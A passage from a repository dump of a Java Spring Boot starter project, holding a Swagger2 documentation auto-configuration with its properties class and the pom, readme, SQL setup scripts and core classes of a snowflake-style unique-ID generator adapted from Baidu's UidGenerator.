    "content": "package io.github.wujun728.common.swagger2;\n\nimport com.github.xiaoymin.knife4j.spring.annotations.EnableKnife4j;\nimport com.google.common.base.Predicate;\nimport com.google.common.base.Predicates;\nimport com.google.common.collect.Lists;\nimport org.springframework.beans.factory.BeanFactory;\nimport org.springframework.beans.factory.BeanFactoryAware;\nimport org.springframework.beans.factory.config.ConfigurableBeanFactory;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Import;\nimport springfox.bean.validators.configuration.BeanValidatorPluginsConfiguration;\nimport springfox.documentation.builders.ApiInfoBuilder;\nimport springfox.documentation.builders.ParameterBuilder;\nimport springfox.documentation.builders.PathSelectors;\nimport springfox.documentation.builders.RequestHandlerSelectors;\nimport springfox.documentation.schema.ModelRef;\nimport springfox.documentation.service.ApiInfo;\nimport springfox.documentation.service.ApiKey;\nimport springfox.documentation.service.AuthorizationScope;\nimport springfox.documentation.service.Contact;\nimport springfox.documentation.service.Parameter;\nimport springfox.documentation.service.SecurityReference;\nimport springfox.documentation.spi.DocumentationType;\nimport springfox.documentation.spi.service.contexts.SecurityContext;\nimport springfox.documentation.spring.web.plugins.Docket;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\nimport java.util.ArrayList;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Objects;\nimport java.util.Set;\nimport java.util.stream.Collectors;\n\n/**\n */\n@Configuration\n@EnableSwagger2\n@EnableKnife4j\n@Import(BeanValidatorPluginsConfiguration.class)\npublic class SwaggerAutoConfiguration implements BeanFactoryAware {\n    private static final String AUTH_KEY = \"Authorization\";\n\n    private BeanFactory beanFactory;\n\n    @Bean\n    @ConditionalOnMissingBean\n    public SwaggerProperties swaggerProperties() {\n        return new SwaggerProperties();\n    }\n\n    @Bean\n    @ConditionalOnMissingBean\n    @ConditionalOnProperty(name = \"jun.swagger.enabled\", matchIfMissing = true)\n    public List<Docket> createRestApi(SwaggerProperties swaggerProperties) {\n        ConfigurableBeanFactory configurableBeanFactory = (ConfigurableBeanFactory) beanFactory;\n        List<Docket> docketList = new LinkedList<>();\n\n        // 没有分组\n        if (swaggerProperties.getDocket().size() == 0) {\n            final Docket docket = createDocket(swaggerProperties);\n            configurableBeanFactory.registerSingleton(\"defaultDocket\", docket);\n            docketList.add(docket);\n            return docketList;\n        }\n\n        // 分组创建\n        for (String groupName : swaggerProperties.getDocket().keySet()) {\n            SwaggerProperties.DocketInfo docketInfo = swaggerProperties.getDocket().get(groupName);\n\n            ApiInfo apiInfo = new ApiInfoBuilder()\n                    .title(docketInfo.getTitle().isEmpty() ? swaggerProperties.getTitle() : docketInfo.getTitle())\n                    .description(docketInfo.getDescription().isEmpty() ? swaggerProperties.getDescription() : docketInfo.getDescription())\n                    .version(docketInfo.getVersion().isEmpty() ? swaggerProperties.getVersion() : docketInfo.getVersion())\n                    .license(docketInfo.getLicense().isEmpty() ? swaggerProperties.getLicense() : docketInfo.getLicense())\n                    .licenseUrl(docketInfo.getLicenseUrl().isEmpty() ? swaggerProperties.getLicenseUrl() : docketInfo.getLicenseUrl())\n                    .contact(\n                            new Contact(\n                                    docketInfo.getContact().getName().isEmpty() ? swaggerProperties.getContact().getName() : docketInfo.getContact().getName(),\n                                    docketInfo.getContact().getUrl().isEmpty() ? swaggerProperties.getContact().getUrl() : docketInfo.getContact().getUrl(),\n                                    docketInfo.getContact().getEmail().isEmpty() ? swaggerProperties.getContact().getEmail() : docketInfo.getContact().getEmail()\n                            )\n                    )\n                    .termsOfServiceUrl(docketInfo.getTermsOfServiceUrl().isEmpty() ? swaggerProperties.getTermsOfServiceUrl() : docketInfo.getTermsOfServiceUrl())\n                    .build();\n\n            // base-path处理\n            // 当没有配置任何path的时候，解析/**\n            if (docketInfo.getBasePath().isEmpty()) {\n                docketInfo.getBasePath().add(\"/**\");\n            }\n            List<Predicate<String>> basePath = new ArrayList<>(docketInfo.getBasePath().size());\n            for (String path : docketInfo.getBasePath()) {\n                basePath.add(PathSelectors.ant(path));\n            }\n\n            // exclude-path处理\n            List<Predicate<String>> excludePath = new ArrayList<>(docketInfo.getExcludePath().size());\n            for (String path : docketInfo.getExcludePath()) {\n                excludePath.add(PathSelectors.ant(path));\n            }\n\n            Docket docket = new Docket(DocumentationType.SWAGGER_2)\n                    .host(swaggerProperties.getHost())\n                    .apiInfo(apiInfo)\n                    .globalOperationParameters(assemblyGlobalOperationParameters(swaggerProperties.getGlobalOperationParameters(),\n                            docketInfo.getGlobalOperationParameters()))\n                    .groupName(groupName)\n                    .select()\n                    .apis(RequestHandlerSelectors.basePackage(docketInfo.getBasePackage()))\n                    .paths(\n                            Predicates.and(\n                                    Predicates.not(Predicates.or(excludePath)),\n                                    Predicates.or(basePath)\n                            )\n                    )\n                    .build()\n                    .securitySchemes(securitySchemes())\n                    .securityContexts(securityContexts());\n\n            configurableBeanFactory.registerSingleton(groupName, docket);\n            docketList.add(docket);\n        }\n        return docketList;\n    }\n\n    /**\n     * 创建 Docket对象\n     *\n     * @param swaggerProperties swagger配置\n     * @return Docket\n     */\n    private Docket createDocket(final SwaggerProperties swaggerProperties) {\n        ApiInfo apiInfo = new ApiInfoBuilder()\n                .title(swaggerProperties.getTitle())\n                .description(swaggerProperties.getDescription())\n                .version(swaggerProperties.getVersion())\n                .license(swaggerProperties.getLicense())\n                .licenseUrl(swaggerProperties.getLicenseUrl())\n                .contact(new Contact(swaggerProperties.getContact().getName(),\n                        swaggerProperties.getContact().getUrl(),\n                        swaggerProperties.getContact().getEmail()))\n                .termsOfServiceUrl(swaggerProperties.getTermsOfServiceUrl())\n                .build();\n\n        // base-path处理\n        // 当没有配置任何path的时候，解析/**\n        if (swaggerProperties.getBasePath().isEmpty()) {\n            swaggerProperties.getBasePath().add(\"/**\");\n        }\n        List<Predicate<String>> basePath = new ArrayList<>();\n        for (String path : swaggerProperties.getBasePath()) {\n            basePath.add(PathSelectors.ant(path));\n        }\n\n        // exclude-path处理\n        List<Predicate<String>> excludePath = new ArrayList<>();\n        for (String path : swaggerProperties.getExcludePath()) {\n            excludePath.add(PathSelectors.ant(path));\n        }\n\n        return new Docket(DocumentationType.SWAGGER_2)\n                .host(swaggerProperties.getHost())\n                .apiInfo(apiInfo)\n                .globalOperationParameters(buildGlobalOperationParametersFromSwaggerProperties(\n                        swaggerProperties.getGlobalOperationParameters()))\n                .select()\n                .apis(RequestHandlerSelectors.basePackage(swaggerProperties.getBasePackage()))\n                .paths(\n                        Predicates.and(\n                                Predicates.not(Predicates.or(excludePath)),\n                                Predicates.or(basePath)\n                        )\n                )\n                .build()\n                .securitySchemes(securitySchemes())\n                .securityContexts(securityContexts());\n    }\n\n    @Override\n    public void setBeanFactory(BeanFactory beanFactory) {\n        this.beanFactory = beanFactory;\n    }\n\n    private List<SecurityContext> securityContexts() {\n        List<SecurityContext> contexts = new ArrayList<>(1);\n        SecurityContext securityContext = SecurityContext.builder()\n                .securityReferences(defaultAuth())\n                //.forPaths(PathSelectors.regex(\"^(?!auth).*$\"))\n                .build();\n        contexts.add(securityContext);\n        return contexts;\n    }\n\n    private List<SecurityReference> defaultAuth() {\n        AuthorizationScope authorizationScope = new AuthorizationScope(\"global\", \"accessEverything\");\n        AuthorizationScope[] authorizationScopes = new AuthorizationScope[1];\n        authorizationScopes[0] = authorizationScope;\n        List<SecurityReference> references = new ArrayList<>(1);\n        references.add(new SecurityReference(AUTH_KEY, authorizationScopes));\n        return references;\n    }\n\n    private List<ApiKey> securitySchemes() {\n        List<ApiKey> apiKeys = new ArrayList<>(1);\n        ApiKey apiKey = new ApiKey(AUTH_KEY, AUTH_KEY, \"header\");\n        apiKeys.add(apiKey);\n        return apiKeys;\n    }\n\n    private List<Parameter> buildGlobalOperationParametersFromSwaggerProperties(\n            List<SwaggerProperties.GlobalOperationParameter> globalOperationParameters) {\n        List<Parameter> parameters = Lists.newArrayList();\n\n        if (Objects.isNull(globalOperationParameters)) {\n            return parameters;\n        }\n        for (SwaggerProperties.GlobalOperationParameter globalOperationParameter : globalOperationParameters) {\n            parameters.add(new ParameterBuilder()\n                    .name(globalOperationParameter.getName())\n                    .description(globalOperationParameter.getDescription())\n                    .modelRef(new ModelRef(globalOperationParameter.getModelRef()))\n                    .parameterType(globalOperationParameter.getParameterType())\n                    .required(Boolean.parseBoolean(globalOperationParameter.getRequired()))\n                    .build());\n        }\n        return parameters;\n    }\n\n    /**\n     * 局部参数按照name覆盖局部参数\n     *\n     * @param globalOperationParameters\n     * @param docketOperationParameters\n     * @return\n     */\n    private List<Parameter> assemblyGlobalOperationParameters(\n            List<SwaggerProperties.GlobalOperationParameter> globalOperationParameters,\n            List<SwaggerProperties.GlobalOperationParameter> docketOperationParameters) {\n\n        if (Objects.isNull(docketOperationParameters) || docketOperationParameters.isEmpty()) {\n            return buildGlobalOperationParametersFromSwaggerProperties(globalOperationParameters);\n        }\n\n        Set<String> docketNames = docketOperationParameters.stream()\n                .map(SwaggerProperties.GlobalOperationParameter::getName)\n                .collect(Collectors.toSet());\n\n        List<SwaggerProperties.GlobalOperationParameter> resultOperationParameters = Lists.newArrayList();\n\n        if (Objects.nonNull(globalOperationParameters)) {\n            for (SwaggerProperties.GlobalOperationParameter parameter : globalOperationParameters) {\n                if (!docketNames.contains(parameter.getName())) {\n                    resultOperationParameters.add(parameter);\n                }\n            }\n        }\n\n        resultOperationParameters.addAll(docketOperationParameters);\n        return buildGlobalOperationParametersFromSwaggerProperties(resultOperationParameters);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-swagger2-spring-boot-starter/src/main/java/io/github/wujun728/common/swagger2/SwaggerProperties.java",
    "content": "package io.github.wujun728.common.swagger2;\n\nimport lombok.Data;\nimport lombok.Getter;\nimport lombok.Setter;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\nimport java.util.ArrayList;\nimport java.util.LinkedHashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * swagger2 属性配置\n *\n */\n@Data\n@ConfigurationProperties(\"jun.swagger\")\npublic class SwaggerProperties {\n    /**是否开启swagger**/\n    private Boolean enabled;\n    /**标题**/\n    private String title = \"\";\n    /**描述**/\n    private String description = \"\";\n    /**版本**/\n    private String version = \"\";\n    /**许可证**/\n    private String license = \"\";\n    /**许可证URL**/\n    private String licenseUrl = \"\";\n    /**服务条款URL**/\n    private String termsOfServiceUrl = \"\";\n    /**联系人**/\n    private Contact contact = new Contact();\n\n    /**swagger会解析的包路径**/\n    private String basePackage = \"\";\n\n    /**swagger会解析的url规则**/\n    private List<String> basePath = new ArrayList<>();\n    /**在basePath基础上需要排除的url规则**/\n    private List<String> excludePath = new ArrayList<>();\n\n    /**分组文档**/\n    private Map<String, DocketInfo> docket = new LinkedHashMap<>();\n\n    /**host信息**/\n    private String host = \"\";\n\n    /**全局参数配置**/\n    private List<GlobalOperationParameter> globalOperationParameters;\n\n    @Setter\n    @Getter\n    public static class GlobalOperationParameter{\n        /**参数名**/\n        private String name;\n\n        /**描述信息**/\n        private String description;\n\n        /**指定参数类型**/\n        private String modelRef;\n\n        /**参数放在哪个地方:header,query,path,body.form**/\n        private String parameterType;\n\n        /**参数是否必须传**/\n        private String required;\n    }\n\n    @Data\n    public static class DocketInfo {\n        /**标题**/\n        private String title = \"\";\n        /**描述**/\n        private String description = \"\";\n        /**版本**/\n        private String version = \"\";\n        /**许可证**/\n        private String license = \"\";\n        /**许可证URL**/\n        private String licenseUrl = \"\";\n        /**服务条款URL**/\n        private String termsOfServiceUrl = \"\";\n\n        private Contact contact = new Contact();\n\n        /**swagger会解析的包路径**/\n        private String basePackage = \"\";\n\n        /**swagger会解析的url规则**/\n        private List<String> basePath = new ArrayList<>();\n        /**在basePath基础上需要排除的url规则**/\n        private List<String> excludePath = new ArrayList<>();\n\n        private List<GlobalOperationParameter> globalOperationParameters;\n    }\n\n    @Data\n    public static class Contact {\n        /**联系人**/\n        private String name = \"\";\n        /**联系人url**/\n        private String url = \"\";\n        /**联系人email**/\n        private String email = \"\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-swagger2-spring-boot-starter/src/main/resources/META-INF/spring.factories.bk",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.common.swagger2.SwaggerAutoConfiguration"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-uidgenerator-spring-boot-starter</artifactId>\n    <version>1.0.25</version>\n    <packaging>jar</packaging>\n    <name>jun-uidgenerator-spring-boot-starter</name>\n    <description>百度uidgenerator升级修改版，自用，具体见readme</description>\n    <url>https://github.com/wujun728/jun-spring-boot-starter/jun-uidgenerator-spring-boot-starter</url>\n\n    <properties>\n        <java.version>8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <maven.compiler.encoding>UTF-8</maven.compiler.encoding>\n        <maven.compiler.source>8</maven.compiler.source>\n        <maven.compiler.target>8</maven.compiler.target>\n        <maven.compiler.compilerVersion>8</maven.compiler.compilerVersion>\n        <skipTests>true</skipTests>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <lombok.version>1.18.30</lombok.version>\n        <mysql-connector.version>8.0.33</mysql-connector.version>\n        <hutool.version>5.8.25</hutool.version>\n        <mica-auto.version>2.3.2</mica-auto.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>jun-common-base</artifactId>\n            <version>${jun.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n            <scope>provided</scope>\n        </dependency>\n        <!-- Apache Commons -->\n        <dependency>\n            <groupId>commons-collections</groupId>\n            <artifactId>commons-collections</artifactId>\n            <version>3.2.2</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-lang</groupId>\n            <artifactId>commons-lang</artifactId>\n            <version>2.6</version>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.30</version>\n            <optional>true</optional>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.mysql</groupId>\n            <artifactId>mysql-connector-j</artifactId>\n            <version>8.0.33</version>\n            <scope>runtime</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n        </dependency>\n        <!--<dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-api</artifactId>\n            <version>2.0.7</version>\n        </dependency>-->\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>net.dreamlu</groupId>\n            <artifactId>mica-auto</artifactId>\n        </dependency>\n    </dependencies>\n\n    <!-- 依赖声明 -->\n    <dependencyManagement>\n        <dependencies>\n            <!-- SpringBoot的依赖配置-->\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n    <developers>\n        <developer>\n            <name>wujun728</name>\n            <email>wujun728@163.com</email>\n            <url>https://github.com/wujun728/jun-spring-boot-starter/jun-uidgenerator-spring-boot-starter</url>\n        </developer>\n    </developers>\n\n    <scm>\n        <url>https://github.com/wujun728/jun-spring-boot-starter/jun-uidgenerator-spring-boot-starter.git</url>\n        <connection>scm:git:https://github.com/wujun728/jun-spring-boot-starter/jun-uidgenerator-spring-boot-starter.git</connection>\n        <developerConnection>scm:git:https://github.com/wujun728/jun-spring-boot-starter/jun-uidgenerator-spring-boot-starter.git</developerConnection>\n    </scm>\n\n    <licenses>\n        <license>\n            <name>The Apache Software License, Version 2.0</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n            <distribution>repo</distribution>\n        </license>\n    </licenses>\n\n    <distributionManagement>\n        <snapshotRepository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/content/repositories/snapshots</url>\n        </snapshotRepository>\n        <repository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n        </repository>\n    </distributionManagement>\n\n    <build>\n        <plugins>\n            <!-- Source -->\n            <!----><plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n                <execution>\n                    <phase>package</phase>\n                    <goals>\n                        <goal>jar-no-fork</goal>\n                    </goals>\n                </execution>\n            </executions>\n        </plugin>\n            <!-- Javadoc -->\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>2.9.1</version>\n                <configuration>\n                    <show>private</show>\n                    <nohelp>true</nohelp>\n                    <charset>UTF-8</charset>\n                    <encoding>UTF-8</encoding>\n                    <docencoding>UTF-8</docencoding>\n                    <additionalparam>-Xdoclint:none</additionalparam>\n                    <!-- TODO 临时解决不规范的javadoc生成报错,后面要规范化后把这行去掉 -->\n                </configuration>\n                <executions>\n                    <execution>\n                        <phase>package</phase>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <!-- GPG --><!--\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-gpg-plugin</artifactId>\n                <version>1.6</version>\n                <executions>\n                    <execution>\n                        <phase>verify</phase>\n                        <goals>\n                            <goal>sign</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n -->\n            <!--Compiler -->\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.0</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <fork>true</fork>\n                    <verbose>true</verbose>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n            <!--Release -->\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-release-plugin</artifactId>\n                <version>2.5.1</version>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/readme.md",
    "content": "# jun-uidgenerator-spring-boot-starter\n\n#### 介绍\n生成全局唯一ID之UidGenerator，from 百度，原ID生成依赖Spring4.x及ibatis，6年没有更新了，特升级springboot-stater不再依赖ibatis了，改为了jdbctemplate查询插入WORKER_NODE，即插即用，自用\n\n#### 软件架构\n软件架构说明\n- UidGenerator是Java实现的, 基于Snowflake算法的唯一ID生成器。UidGenerator以组件形式工作在应用项目中, 支持自定义workerId位数和初始化策略, 从而适用于docker等虚拟化环境下实例自动重启、漂移等场景。 在实现上, UidGenerator通过借用未来时间来解决sequence天然存在的并发限制; 采用RingBuffer来缓存已生成的UID, 并行化UID的生产和消费, 同时对CacheLine补齐，避免了由RingBuffer带来的硬件级「伪共享」问题.\n \n\n#### 安装教程\n\n1.  第一次使用需要建数据库表\n```sql\nDROP TABLE IF EXISTS WORKER_NODE;\nCREATE TABLE WORKER_NODE\n(\nID BIGINT unsigned NOT NULL AUTO_INCREMENT COMMENT 'auto increment id',\nHOST_NAME VARCHAR(64) NOT NULL COMMENT 'host name',\nPORT VARCHAR(64) NOT NULL COMMENT 'port',\nTYPE INT NOT NULL COMMENT 'node type: ACTUAL or CONTAINER',\nLAUNCH_DATE DATE NOT NULL COMMENT 'launch date',\nMODIFIED TIMESTAMP NOT NULL COMMENT 'modified time',\nCREATED TIMESTAMP NOT NULL COMMENT 'created time',\nPRIMARY KEY(ID)\n)\nCOMMENT='DB WorkerID Assigner for UID Generator';\n```\n\n\n#### 使用说明\n\n1.  引入依赖\n```xml\n<dependency>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-uidgenerator-springboot-starter</artifactId>\n    <version>1.0.1</version>\n</dependency>\n<dependency>\n    <groupId>org.projectlombok</groupId>\n    <artifactId>lombok</artifactId>\n    <optional>true</optional>\n    <scope>compile</scope>\n</dependency>\n```\n2.   增加配置(任选其一)\n \n```yaml\nspring:\n  datasource:\n    driver-class-name: com.mysql.cj.jdbc.Driver\n    url: jdbc:mysql://localhost:3306/DB_BASE?useSSL=false&characterEncoding=UTF-8&allowMultiQueries=true\n    username: root\n    password: root\nuid:\n  gen:\n    boostPower: 3\n    epochStr: '2022-11-11'\n    scheduleInterval: 60\n    seqBits: 11\n    timeBits: 32\n    workerBits: 20 \nserver:\n  tomcat:\n    threads:\n      max: 200\n      min-spare: 100\n    accept-count: 100\n```\n3.   获取id\n```java\n#启动类无需添加\n#@ComponentScan(basePackages = {\"io.github.wujun728.uidgenerator\",\"io.github.wujun728\"})\n#使用\n@Resource\nprivate UidGenerator uidGenerator;\n\nLong uid=uidGenerator.getUID()\n\n```\n \n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/scripts/WORKER_NODE.sql",
    "content": "DROP TABLE IF EXISTS WORKER_NODE;\nCREATE TABLE WORKER_NODE\n(\n    ID BIGINT unsigned NOT NULL AUTO_INCREMENT COMMENT 'auto increment id',\n    HOST_NAME VARCHAR(64) NOT NULL COMMENT 'host name',\n    PORT VARCHAR(64) NOT NULL COMMENT 'port',\n    TYPE INT NOT NULL COMMENT 'node type: ACTUAL or CONTAINER',\n    LAUNCH_DATE DATE NOT NULL COMMENT 'launch date',\n    MODIFIED TIMESTAMP NOT NULL COMMENT 'modified time',\n    CREATED TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT 'created time',\n    PRIMARY KEY(ID)\n)\n    COMMENT='DB WorkerID Assigner for UID Generator';"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/scripts/uid_info.sql",
    "content": "create table uid_info\n(\n    id          bigint(11) UNSIGNED not null primary key auto_increment comment '主键',\n    uid         bigint UNSIGNED     not null default 0 comment 'uid',\n    create_time timestamp           NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间'\n)\n    DEFAULT CHARSET = utf8 comment 'uid表';\ncreate index idx_uid on uid_info (uid);"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/BitsAllocator.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator;\n\nimport org.apache.commons.lang.builder.ToStringBuilder;\nimport org.apache.commons.lang.builder.ToStringStyle;\nimport org.springframework.util.Assert;\n\n/**\n * Allocate 64 bits for the UID(long)<br>\n * sign (fixed 1bit) -> deltaSecond -> workerId -> sequence(within the same second)\n * \n * \n */\npublic class BitsAllocator {\n    /**\n     * Total 64 bits\n     */\n    public static final int TOTAL_BITS = 1 << 6;\n\n    /**\n     * Bits for [sign-> second-> workId-> sequence]\n     */\n    private int signBits = 1;\n    private final int timestampBits;\n    private final int workerIdBits;\n    private final int sequenceBits;\n\n    /**\n     * Max value for workId & sequence\n     */\n    private final long maxDeltaSeconds;\n    private final long maxWorkerId;\n    private final long maxSequence;\n\n    /**\n     * Shift for timestamp & workerId\n     */\n    private final int timestampShift;\n    private final int workerIdShift;\n\n    /**\n     * Constructor with timestampBits, workerIdBits, sequenceBits<br>\n     * The highest bit used for sign, so <code>63</code> bits for timestampBits, workerIdBits, sequenceBits\n     */\n    public BitsAllocator(int timestampBits, int workerIdBits, int sequenceBits) {\n        // make sure allocated 64 bits\n        int allocateTotalBits = signBits + timestampBits + workerIdBits + sequenceBits;\n        Assert.isTrue(allocateTotalBits == TOTAL_BITS, \"allocate not enough 64 bits\");\n\n        // initialize bits\n        this.timestampBits = timestampBits;\n        this.workerIdBits = workerIdBits;\n        this.sequenceBits = sequenceBits;\n\n        // initialize max value\n        this.maxDeltaSeconds = ~(-1L << timestampBits);\n        this.maxWorkerId = ~(-1L << workerIdBits);\n        this.maxSequence = ~(-1L << sequenceBits);\n\n        // initialize shift\n        this.timestampShift = workerIdBits + sequenceBits;\n        this.workerIdShift = sequenceBits;\n    }\n\n    /**\n     * Allocate bits for UID according to delta seconds & workerId & sequence<br>\n     * <b>Note that: </b>The highest bit will always be 0 for sign\n     * \n     * @param deltaSeconds\n     * @param workerId\n     * @param sequence\n     * @return\n     */\n    public long allocate(long deltaSeconds, long workerId, long sequence) {\n        return (deltaSeconds << timestampShift) | (workerId << workerIdShift) | sequence;\n    }\n    \n    /**\n     * Getters\n     */\n    public int getSignBits() {\n        return signBits;\n    }\n\n    public int getTimestampBits() {\n        return timestampBits;\n    }\n\n    public int getWorkerIdBits() {\n        return workerIdBits;\n    }\n\n    public int getSequenceBits() {\n        return sequenceBits;\n    }\n\n    public long getMaxDeltaSeconds() {\n        return maxDeltaSeconds;\n    }\n\n    public long getMaxWorkerId() {\n        return maxWorkerId;\n    }\n\n    public long getMaxSequence() {\n        return maxSequence;\n    }\n\n    public int getTimestampShift() {\n        return timestampShift;\n    }\n\n    public int getWorkerIdShift() {\n        return workerIdShift;\n    }\n    \n    @Override\n    public String toString() {\n        return ToStringBuilder.reflectionToString(this, ToStringStyle.SHORT_PREFIX_STYLE);\n    }\n    \n}"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/UidGenerator.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator;\n\nimport io.github.wujun728.uidgenerator.exception.UidGenerateException;\n\n/**\n * Represents a unique id generator.\n * @Use 启动类添加@MapperScan(\"com.houger\")\n * 配置文件添加：\n * spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver\n * spring.datasource.url=jdbc:mysql://127.0.0.1:3306/DB_BASE?useSSL=false&characterEncoding=UTF-8&allowMultiQueries=true\n * spring.datasource.username=root\n * spring.datasource.password=root\n *\n * # mybatis configure\n * mybatis.mapper-locations=classpath:mapper/*.xml\n * mybatis.type-aliases-package=com.houger.worker.entity\n *\n * uid.gen.timeBits=32\n * uid.gen.workerBits=22\n * uid.gen.seqBits=9\n * uid.gen.epochStr=2022-11-11\n * uid.gen.boostPower=3\n * uid.gen.scheduleInterval=60\n */\npublic interface UidGenerator {\n\n    /**\n     * Get a unique ID\n     *\n     * @return UID\n     * @throws UidGenerateException\n     */\n    long getUID() throws UidGenerateException;\n\n    /**\n     * Parse the UID into elements which are used to generate the UID. <br>\n     * Such as timestamp & workerId & sequence...\n     *\n     * @param uid\n     * @return Parsed info\n     */\n    String parseUID(long uid);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/UidgeneratorApplication.java",
    "content": "package io.github.wujun728.uidgenerator;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class UidgeneratorApplication {\n\n\n    public static void main(String[] args) {\n        SpringApplication.run(UidgeneratorApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/buffer/BufferPaddingExecutor.java",
